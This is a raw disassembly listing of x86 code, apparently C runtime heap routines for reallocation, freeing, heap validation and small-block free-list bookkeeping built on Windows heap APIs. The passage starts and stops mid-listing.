sub_41C230+F7j mov edx, [ebp+arg_4] mov [ebp+var_3C], edx loc_41C337: ; CODE XREF: sub_41C230+FFj mov eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_24] push edx call sub_419330 add esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_41CAF0 add esp, 4 mov [ebp+var_28], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28] push edx call sub_41CBB0 add esp, 8 loc_41C36A: ; CODE XREF: sub_41C230+AAj ; sub_41C230+CEj ... cmp [ebp+var_24], 0 jnz short loc_41C3EA cmp [ebp+arg_4], 0 jnz short loc_41C37D mov [ebp+arg_4], 1 loc_41C37D: ; CODE XREF: sub_41C230+144j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0478 ; RtlAllocateHeap mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41C3EA mov eax, [ebp+arg_0] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_20] cmp edx, [ebp+arg_4] jnb short loc_41C3C0 mov eax, [ebp+var_20] mov [ebp+var_40], eax jmp short loc_41C3C6 ; --------------------------------------------------------------------------- loc_41C3C0: ; CODE XREF: sub_41C230+186j mov ecx, [ebp+arg_4] mov [ebp+var_40], ecx loc_41C3C6: ; CODE XREF: sub_41C230+18Ej mov edx, [ebp+var_40] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_24] push ecx call sub_419330 add esp, 0Ch mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_28] push eax call sub_41CBB0 add esp, 8 loc_41C3EA: ; CODE XREF: sub_41C230+9Bj ; sub_41C230+13Ej ... mov [ebp+var_4], 0FFFFFFFFh call sub_41C3F8 jmp short loc_41C403 sub_41C230 endp ; =============== S U B R O U T I N E ======================================= sub_41C3F8 proc near ; CODE XREF: sub_41C230+1C1p push 9 call sub_41BD20 add esp, 4 retn sub_41C3F8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C230 loc_41C403: ; CODE XREF: sub_41C230+1C6j cmp [ebp+var_28], 0 jnz short loc_41C43C cmp [ebp+arg_4], 0 jnz short loc_41C416 mov [ebp+arg_4], 1 loc_41C416: ; CODE XREF: sub_41C230+1DDj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4DE648 push ecx call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_24], eax loc_41C43C: ; CODE XREF: sub_41C230+71j ; sub_41C230+1D7j cmp [ebp+var_24], 0 jnz short loc_41C44B cmp dword_4DDFE4, 0 jnz short loc_41C453 loc_41C44B: ; CODE XREF: sub_41C230+210j mov eax, [ebp+var_24] jmp loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C453: ; CODE XREF: sub_41C230+219j mov edx, [ebp+arg_4] push edx call sub_41BB70 add esp, 4 test eax, eax jnz short loc_41C46A xor eax, eax jmp loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C46A: ; CODE XREF: sub_41C230+231j jmp loc_41C296 ; --------------------------------------------------------------------------- loc_41C46F: ; CODE XREF: sub_41C230+60j cmp dword_4DE64C, 2 jnz loc_41C64A cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_41C49C cmp [ebp+arg_4], 0 jbe short loc_41C495 mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax jmp short loc_41C49C ; --------------------------------------------------------------------------- loc_41C495: ; CODE XREF: sub_41C230+256j mov [ebp+arg_4], 10h loc_41C49C: ; CODE XREF: sub_41C230+250j ; sub_41C230+263j ... mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_41C61A push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_38] push edx mov eax, [ebp+arg_0] push eax call sub_41EB10 add esp, 0Ch mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz loc_41C5E7 mov ecx, [ebp+arg_4] cmp ecx, dword_44726C jnb loc_41C578 mov edx, [ebp+arg_4] shr edx, 4 push edx mov eax, [ebp+var_30] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_38] push edx call sub_41F280 add esp, 10h test eax, eax jz short loc_41C515 mov eax, [ebp+arg_0] mov [ebp+var_24], eax jmp short loc_41C578 ; --------------------------------------------------------------------------- loc_41C515: ; CODE XREF: sub_41C230+2DBj mov ecx, [ebp+arg_4] shr ecx, 4 push ecx call sub_41EC10 add esp, 4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41C578 mov edx, [ebp+var_30] xor eax, eax mov al, [edx] shl eax, 4 mov [ebp+var_34], eax mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_4] jnb short loc_41C54A mov edx, [ebp+var_34] mov [ebp+var_44], edx jmp short loc_41C550 ; --------------------------------------------------------------------------- loc_41C54A: ; CODE XREF: sub_41C230+310j mov eax, [ebp+arg_4] mov [ebp+var_44], eax loc_41C550: ; CODE XREF: sub_41C230+318j mov ecx, [ebp+var_44] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax call sub_419330 add esp, 0Ch mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_38] push eax call sub_41EBA0 add esp, 0Ch loc_41C578: ; CODE XREF: sub_41C230+2B8j ; sub_41C230+2E3j ... cmp [ebp+var_24], 0 jnz short loc_41C5E5 mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0478 ; RtlAllocateHeap mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41C5E5 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] shl ecx, 4 mov [ebp+var_34], ecx mov edx, [ebp+var_34] cmp edx, [ebp+arg_4] jnb short loc_41C5B7 mov eax, [ebp+var_34] mov [ebp+var_48], eax jmp short loc_41C5BD ; --------------------------------------------------------------------------- loc_41C5B7: ; CODE XREF: sub_41C230+37Dj mov ecx, [ebp+arg_4] mov [ebp+var_48], ecx loc_41C5BD: ; CODE XREF: sub_41C230+385j mov edx, [ebp+var_48] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_24] push ecx call sub_419330 add esp, 0Ch mov edx, [ebp+var_30] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_38] push ecx call sub_41EBA0 add esp, 0Ch loc_41C5E5: ; CODE XREF: sub_41C230+34Cj ; sub_41C230+368j jmp short loc_41C601 ; --------------------------------------------------------------------------- loc_41C5E7: ; CODE XREF: sub_41C230+2A9j mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4DE648 push ecx call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_24], eax loc_41C601: ; CODE XREF: sub_41C230:loc_41C5E5j mov [ebp+var_4], 0FFFFFFFFh call sub_41C60F jmp short loc_41C61A ; END OF FUNCTION CHUNK FOR sub_41C230 ; =============== S U B R O U T I N E ======================================= sub_41C60F proc near ; CODE XREF: sub_41C230+3D8p ; DATA XREF: .data:00435014o push 9 call sub_41BD20 add esp, 4 retn sub_41C60F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C230 loc_41C61A: ; CODE XREF: sub_41C230+277j ; sub_41C230+3DDj cmp [ebp+var_24], 0 jnz short loc_41C629 cmp dword_4DDFE4, 0 jnz short loc_41C631 loc_41C629: ; CODE XREF: sub_41C230+3EEj mov eax, [ebp+var_24] jmp loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C631: ; CODE XREF: sub_41C230+3F7j mov edx, [ebp+arg_4] push edx call sub_41BB70 add esp, 4 test eax, eax jnz short loc_41C645 xor eax, eax jmp short loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C645: ; CODE XREF: sub_41C230+40Fj jmp loc_41C49C ; --------------------------------------------------------------------------- loc_41C64A: ; CODE XREF: sub_41C230+246j ; sub_41C230:loc_41C6B0j mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_41C688 cmp [ebp+arg_4], 0 jnz short loc_41C664 mov [ebp+arg_4], 1 loc_41C664: ; CODE XREF: sub_41C230+42Bj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4DE648 push eax call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_24], eax loc_41C688: ; CODE XREF: sub_41C230+425j cmp [ebp+var_24], 0 jnz short loc_41C697 cmp dword_4DDFE4, 0 jnz short loc_41C69C loc_41C697: ; CODE XREF: sub_41C230+45Cj mov eax, [ebp+var_24] jmp short loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C69C: ; CODE XREF: sub_41C230+465j mov ecx, [ebp+arg_4] push ecx call sub_41BB70 add esp, 4 test eax, eax jnz short loc_41C6B0 xor eax, eax jmp short loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C6B0: ; CODE XREF: sub_41C230+47Aj jmp short loc_41C64A ; --------------------------------------------------------------------------- loc_41C6B2: ; CODE XREF: sub_41C230+3Bj ; sub_41C230+54j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41C230 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C6D0 proc near ; CODE XREF: sub_415CD0+26Ep ; sub_415CD0+3B2p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041C756 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 0041C7D8 SIZE 0000003E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435018 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41C6FE jmp loc_41C805 ; --------------------------------------------------------------------------- loc_41C6FE: ; CODE XREF: sub_41C6D0+27j cmp dword_4DE64C, 3 jnz short loc_41C774 push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_41CAF0 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_41C73D mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1C] push edx call sub_41CBB0 add esp, 8 loc_41C73D: ; CODE XREF: sub_41C6D0+5Bj mov [ebp+var_4], 0FFFFFFFFh call sub_41C74B jmp short loc_41C756 sub_41C6D0 endp ; =============== S U B R O U T I N E ======================================= sub_41C74B proc near ; CODE XREF: sub_41C6D0+74p ; DATA XREF: .data:00435020o push 9 call sub_41BD20 add esp, 4 retn sub_41C74B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C6D0 loc_41C756: ; CODE XREF: sub_41C6D0+79j cmp [ebp+var_1C], 0 jnz short loc_41C76F mov eax, [ebp+arg_0] push eax push 0 mov ecx, dword_4DE648 push ecx call dword_4E0480 ; RtlFreeHeap loc_41C76F: ; CODE XREF: sub_41C6D0+8Aj jmp loc_41C805 ; --------------------------------------------------------------------------- loc_41C774: ; CODE XREF: sub_41C6D0+35j cmp dword_4DE64C, 2 jnz short loc_41C7F2 push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax mov ecx, [ebp+arg_0] push ecx call sub_41EB10 add esp, 0Ch mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41C7BF mov edx, [ebp+var_24] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_28] push ecx call sub_41EBA0 add esp, 0Ch loc_41C7BF: ; CODE XREF: sub_41C6D0+D9j mov [ebp+var_4], 0FFFFFFFFh call sub_41C7CD jmp short loc_41C7D8 ; END OF FUNCTION CHUNK FOR sub_41C6D0 ; =============== S U B R O U T I N E ======================================= sub_41C7CD proc near ; CODE XREF: sub_41C6D0+F6p ; DATA XREF: .data:0043502Co push 9 call sub_41BD20 add esp, 4 retn sub_41C7CD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C6D0 loc_41C7D8: ; CODE XREF: sub_41C6D0+FBj cmp [ebp+var_24], 0 jnz short loc_41C7F0 mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4DE648 push eax call dword_4E0480 ; RtlFreeHeap loc_41C7F0: ; CODE XREF: sub_41C6D0+10Cj jmp short loc_41C805 ; --------------------------------------------------------------------------- loc_41C7F2: ; CODE XREF: sub_41C6D0+ABj mov ecx, [ebp+arg_0] push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0480 ; RtlFreeHeap loc_41C805: ; CODE XREF: sub_41C6D0+29j ; sub_41C6D0:loc_41C76Fj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41C6D0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_416420+4Ap ; .data:0041C933p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041C88D SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0041C8D2 SIZE 00000052 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435030 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_1C], 0FFFFFFFEh cmp dword_4DE64C, 3 jnz short loc_41C88F push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 call sub_41E0F0 test eax, eax jge short loc_41C874 mov [ebp+var_1C], 0FFFFFFFCh loc_41C874: ; CODE XREF: sub_41C820+4Bj mov [ebp+var_4], 0FFFFFFFFh call sub_41C882 jmp short loc_41C88D sub_41C820 endp ; =============== S U B R O U T I N E ======================================= sub_41C882 proc near ; CODE XREF: sub_41C820+5Bp ; DATA XREF: .data:00435038o push 9 call sub_41BD20 add esp, 4 retn sub_41C882 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C820 loc_41C88D: ; CODE XREF: sub_41C820+60j jmp short loc_41C8D2 ; --------------------------------------------------------------------------- loc_41C88F: ; CODE XREF: sub_41C820+31j cmp dword_4DE64C, 2 jnz short loc_41C8D2 push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 call sub_41F3F0 test eax, eax jge short loc_41C8B9 mov [ebp+var_1C], 0FFFFFFFCh loc_41C8B9: ; CODE XREF: sub_41C820+90j mov [ebp+var_4], 0FFFFFFFFh call sub_41C8C7 jmp short loc_41C8D2 ; END OF FUNCTION CHUNK FOR sub_41C820 ; =============== S U B R O U T I N E ======================================= sub_41C8C7 proc near ; CODE XREF: sub_41C820+A0p ; DATA XREF: .data:00435044o push 9 call sub_41BD20 add esp, 4 retn sub_41C8C7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C820 loc_41C8D2: ; CODE XREF: sub_41C820:loc_41C88Dj ; sub_41C820+76j ... push 0 push 0 mov eax, dword_4DE648 push eax call dword_4E0448 ; HeapValidate test eax, eax jnz short loc_41C910 call dword_4E0350 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41C909 call sub_4224E0 mov dword ptr [eax], 78h call sub_4224D0 mov dword ptr [eax], 28h jmp short loc_41C910 ; --------------------------------------------------------------------------- loc_41C909: ; CODE XREF: sub_41C820+CFj mov [ebp+var_1C], 0FFFFFFFCh loc_41C910: ; CODE XREF: sub_41C820+C4j ; sub_41C820+E7j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41C820 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41C820 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4DE64C, 3 jnz short loc_41C953 mov eax, dword_4DE66C jmp short loc_41C965 ; --------------------------------------------------------------------------- loc_41C953: ; CODE XREF: .data:0041C94Aj cmp dword_4DE64C, 2 jnz short loc_41C963 mov eax, dword_44726C jmp short loc_41C965 ; --------------------------------------------------------------------------- loc_41C963: ; CODE XREF: .data:0041C95Aj xor eax, eax loc_41C965: ; CODE XREF: .data:0041C951j ; .data:0041C961j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DE64C, 3 jnz short loc_41C99F cmp dword ptr [ebp+8], 3F8h ja short loc_41C998 mov eax, [ebp+8] mov dword_4DE66C, eax mov eax, 1 jmp loc_41CA76 ; --------------------------------------------------------------------------- loc_41C998: ; CODE XREF: .data:0041C984j xor eax, eax jmp loc_41CA76 ; --------------------------------------------------------------------------- loc_41C99F: ; CODE XREF: .data:0041C97Bj cmp dword_4DE64C, 2 jnz short loc_41C9D7 mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_41C9D0 mov edx, [ebp+8] mov dword_44726C, edx mov eax, 1 jmp loc_41CA76 ; --------------------------------------------------------------------------- loc_41C9D0: ; CODE XREF: .data:0041C9BBj xor eax, eax jmp loc_41CA76 ; --------------------------------------------------------------------------- loc_41C9D7: ; CODE XREF: .data:0041C9A6j cmp dword_4DE64C, 1 jnz loc_41CA74 cmp dword ptr [ebp+8], 0 jbe loc_41CA74 lea eax, [ebp-4] push eax call sub_41F630 add esp, 4 mov ecx, [ebp-4] and ecx, 0FFh cmp ecx, 6 jl short loc_41CA3C cmp dword ptr [ebp+8], 3F8h ja short loc_41CA3A mov edx, [ebp+8] push edx call sub_41CA80 add esp, 4 test eax, eax jz short loc_41CA3A mov eax, [ebp+8] mov dword_4DE66C, eax mov dword_4DE64C, 3 mov eax, 1 jmp short loc_41CA76 ; --------------------------------------------------------------------------- loc_41CA3A: ; CODE XREF: .data:0041CA0Fj ; .data:0041CA1Fj jmp short loc_41CA74 ; --------------------------------------------------------------------------- loc_41CA3C: ; CODE XREF: .data:0041CA06j mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_41CA74 call sub_41E750 test eax, eax jz short loc_41CA74 mov edx, [ebp+8] mov dword_44726C, edx mov dword_4DE64C, 2 mov eax, 1 jmp short loc_41CA76 ; --------------------------------------------------------------------------- loc_41CA74: ; CODE XREF: .data:0041C9DEj ; .data:0041C9E8j ... xor eax, eax loc_41CA76: ; CODE XREF: .data:0041C993j ; .data:0041C99Aj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA80 proc near ; CODE XREF: .data:0041CA15p ; sub_41F8C0+44p arg_0 = dword ptr 8 push ebp mov ebp, esp push 140h push 0 mov eax, dword_4DE648 push eax call dword_4E0478 ; RtlAllocateHeap mov dword_4DE668, eax cmp dword_4DE668, 0 jnz short loc_41CAA8 xor eax, eax jmp short loc_41CAE0 ; --------------------------------------------------------------------------- loc_41CAA8: ; CODE XREF: sub_41CA80+22j mov ecx, [ebp+arg_0] mov dword_4DE66C, ecx mov edx, dword_4DE668 mov dword_4DE658, edx mov dword_4DE660, 0 mov dword_4DE664, 0 mov dword_4DE650, 10h mov eax, 1 loc_41CAE0: ; CODE XREF: sub_41CA80+26j pop ebp retn sub_41CA80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF0 proc near ; CODE XREF: sub_416900+41p ; sub_41C020+52p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4DE664 imul eax, 14h mov ecx, dword_4DE668 add ecx, eax mov [ebp+var_C], ecx mov edx, dword_4DE668 mov [ebp+var_8], edx loc_41CB12: ; CODE XREF: sub_41CAF0+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_41CB3F mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_41CB34 mov eax, [ebp+var_8] jmp short loc_41CB41 ; --------------------------------------------------------------------------- loc_41CB34: ; CODE XREF: sub_41CAF0+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_41CB12 ; --------------------------------------------------------------------------- loc_41CB3F: ; CODE XREF: sub_41CAF0+28j xor eax, eax loc_41CB41: ; CODE XREF: sub_41CAF0+42j mov esp, ebp pop ebp retn sub_41CAF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB50 proc near ; CODE XREF: sub_416900+5Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_41CBA1 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_41CBA1 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_41CBA1 mov [ebp+var_C], 1 jmp short loc_41CBA8 ; --------------------------------------------------------------------------- loc_41CBA1: ; CODE XREF: sub_41CB50+2Fj ; sub_41CB50+39j ... mov [ebp+var_C], 0 loc_41CBA8: ; CODE XREF: sub_41CB50+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_41CB50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CBB0 proc near ; CODE XREF: sub_41C230+132p ; sub_41C230+1B2p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_41CC0D jmp loc_41D188 ; --------------------------------------------------------------------------- loc_41CC0D: ; CODE XREF: sub_41CBB0+56j mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov [ebp+var_38], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_14], edx mov eax, [ebp+var_1C] mov ecx, [eax-4] mov [ebp+var_C], ecx mov edx, [ebp+var_14] and edx, 1 test edx, edx jnz loc_41CD57 mov eax, [ebp+var_14] sar eax, 4 sub eax, 1 mov [ebp+var_24], eax cmp [ebp+var_24], 3Fh jbe short loc_41CC4E mov [ebp+var_24], 3Fh loc_41CC4E: ; CODE XREF: sub_41CBB0+95j mov ecx, [ebp+var_38] mov edx, [ebp+var_38] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41CD30 cmp [ebp+var_24], 20h jnb short loc_41CCC5 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41CCC3 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CCC3: ; CODE XREF: sub_41CBB0+F9j jmp short loc_41CD30 ; --------------------------------------------------------------------------- loc_41CCC5: ; CODE XREF: sub_41CBB0+B4j mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41CD30 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41CD30: ; CODE XREF: sub_41CBB0+AAj ; sub_41CBB0:loc_41CCC3j ... mov ecx, [ebp+var_38] mov edx, [ecx+8] mov eax, [ebp+var_38] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_38] mov eax, [edx+4] mov ecx, [ebp+var_38] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_30] add eax, [ebp+var_14] mov [ebp+var_30], eax loc_41CD57: ; CODE XREF: sub_41CBB0+7Fj mov ecx, [ebp+var_30] sar ecx, 4 sub ecx, 1 mov [ebp+var_28], ecx cmp [ebp+var_28], 3Fh jbe short loc_41CD70 mov [ebp+var_28], 3Fh loc_41CD70: ; CODE XREF: sub_41CBB0+1B7j mov edx, [ebp+var_C] and edx, 1 test edx, edx jnz loc_41CED4 mov eax, [ebp+var_1C] sub eax, [ebp+var_C] mov [ebp+var_34], eax mov ecx, [ebp+var_C] sar ecx, 4 sub ecx, 1 mov [ebp+var_2C], ecx cmp [ebp+var_2C], 3Fh jbe short loc_41CDA0 mov [ebp+var_2C], 3Fh loc_41CDA0: ; CODE XREF: sub_41CBB0+1E7j mov edx, [ebp+var_30] add edx, [ebp+var_C] mov [ebp+var_30], edx mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_41CDC2 mov [ebp+var_28], 3Fh loc_41CDC2: ; CODE XREF: sub_41CBB0+209j mov ecx, [ebp+var_2C] cmp ecx, [ebp+var_28] jz loc_41CECE mov edx, [ebp+var_34] mov eax, [ebp+var_34] mov ecx, [edx+4] cmp ecx, [eax+8] jnz loc_41CEB0 cmp [ebp+var_2C], 20h jnb short loc_41CE45 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41CE43 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CE43: ; CODE XREF: sub_41CBB0+279j jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE45: ; CODE XREF: sub_41CBB0+234j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, 